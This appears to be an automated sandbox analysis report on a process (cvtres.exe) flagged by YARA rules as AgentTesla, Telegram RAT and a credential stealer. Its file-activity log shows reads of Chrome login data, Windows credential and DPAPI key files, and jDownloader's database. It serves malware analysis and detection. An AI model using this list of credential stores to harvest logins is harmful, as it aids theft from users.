Commandline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe

Imagebase: 0xd00000

File size: 43176 bytes

MD5 hash: C09985AE74F0882F208D75DE27770DFA

Has elevated privileges: true

Has administrator 
privileges:

true

Programmed in: .Net C# or VB.NET

Registry Activities

Analysis Process: cvtres.exe PID: 5216, Parent PID: 2280

General
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Yara matches: Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 
00000003.00000000.243097169.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 
00000003.00000000.243097169.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_AgentTesla_d3ac2b2f, Description: unknown, Source: 
00000003.00000000.243097169.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: Windows_Trojan_AgentTesla_f2a90d14, Description: unknown, Source: 
00000003.00000000.243097169.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 
00000003.00000000.242851689.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 
00000003.00000000.242851689.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_AgentTesla_d3ac2b2f, Description: unknown, Source: 
00000003.00000000.242851689.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: Windows_Trojan_AgentTesla_f2a90d14, Description: unknown, Source: 
00000003.00000000.242851689.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 
00000003.00000002.498729589.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 
00000003.00000002.498729589.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_AgentTesla_d3ac2b2f, Description: unknown, Source: 
00000003.00000002.498729589.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: Windows_Trojan_AgentTesla_f2a90d14, Description: unknown, Source: 
00000003.00000002.498729589.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 
00000003.00000000.243362450.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 
00000003.00000000.243362450.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_AgentTesla_d3ac2b2f, Description: unknown, Source: 
00000003.00000000.243362450.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: Windows_Trojan_AgentTesla_f2a90d14, Description: unknown, Source: 
00000003.00000000.243362450.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 
00000003.00000000.242587735.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source: 
00000003.00000000.242587735.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Rule: Windows_Trojan_AgentTesla_d3ac2b2f, Description: unknown, Source: 
00000003.00000000.242587735.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: Windows_Trojan_AgentTesla_f2a90d14, Description: unknown, Source: 
00000003.00000000.242587735.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: unknown
Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 
00000003.00000002.501623569.00000000069B1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 
00000003.00000002.501623569.00000000069B1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 
00000003.00000002.501623569.00000000069B1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Rule: MALWARE_Win_AgentTeslaV3, Description: AgentTeslaV3 infostealer payload, Source: 
00000003.00000002.501623569.00000000069B1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen

Reputation: moderate

File Path Access Attributes Options Completion Count Source Address Symbol

C:\Users\user read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 6CDBCF06 unknown

C:\Users\user\AppData\Roaming read data or list 
directory | 
synchronize

device directory file | 
synchronous io 
non alert | open 
for backup ident 
| open reparse 
point

object name collision 1 6CDBCF06 unknown

File Path Offset Length Completion Count Source Address Symbol

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.config unknown 4095 success or wait 1 6CD95705 unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.config unknown 8173 end of file 1 6CD95705 unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6CD95705 unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 6135 success or wait 1 6CD95705 unknown

C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152
fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll.aux

unknown 176 success or wait 1 6CCF03DE ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.config unknown 4095 success or wait 1 6CD9CA54 ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.config unknown 8173 end of file 1 6CD9CA54 ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6CD9CA54 ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System\4f0a7e
efa3cd3e0ba98b5ebddbbc72e6\System.ni.dll.aux

unknown 620 success or wait 1 6CCF03DE ReadFile

File Activities

File Created

File Read
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C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Config
uration\8d67d92724ba494b6c7fd089d6f25b48\System.Configuratio
n.ni.dll.aux

unknown 864 success or wait 1 6CCF03DE ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\f
1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll.aux

unknown 900 success or wait 1 6CCF03DE ReadFile

C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\b2
19d4630d26b88041b59c21e8e2b95c\System.Xml.ni.dll.aux

unknown 748 success or wait 1 6CCF03DE ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4095 success or wait 1 6CD95705 unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 8171 end of file 1 6CD95705 unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4096 success or wait 1 6BC01B4F ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Config\machine.config unknown 4096 end of file 1 6BC01B4F ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.config unknown 4096 success or wait 1 6BC01B4F ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.config unknown 4096 end of file 1 6BC01B4F ReadFile

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.config unknown 4095 success or wait 1 6CD95705 unknown

C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe.config unknown 8173 end of file 1 6CD95705 unknown

C:\Program Files (x86)\jDownloader\config\database.script unknown 4096 success or wait 1 6BC01B4F ReadFile

C:\Program Files (x86)\jDownloader\config\database.script unknown 4096 end of file 1 6BC01B4F ReadFile

C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5
CC19A398EBF1B96859CE5D

unknown 11088 success or wait 1 6BC01B4F ReadFile

C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-21-3853321935-
2125563209-4053062332-1002\cbc0db60-78ae-47f5-9474-1c3879ecea41

unknown 4096 success or wait 1 6BC01B4F ReadFile

C:\Users\user\AppData\Local\Microsoft\Credentials\DFBE70A7E5
CC19A398EBF1B96859CE5D

unknown 11088 success or wait 1 6BC01B4F ReadFile

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login 
Data

unknown 40960 success or wait 1 6BC01B4F ReadFile

File Path Offset Length Completion Count Source Address Symbol

There is hidden Windows Behavior. Click on Show Windows Behavior  to show it.

Key Path Completion Count Source Address Symbol

Key Path Name Type Data Completion Count Source Address Symbol

⊘ No disassembly

Registry Activities

Disassembly
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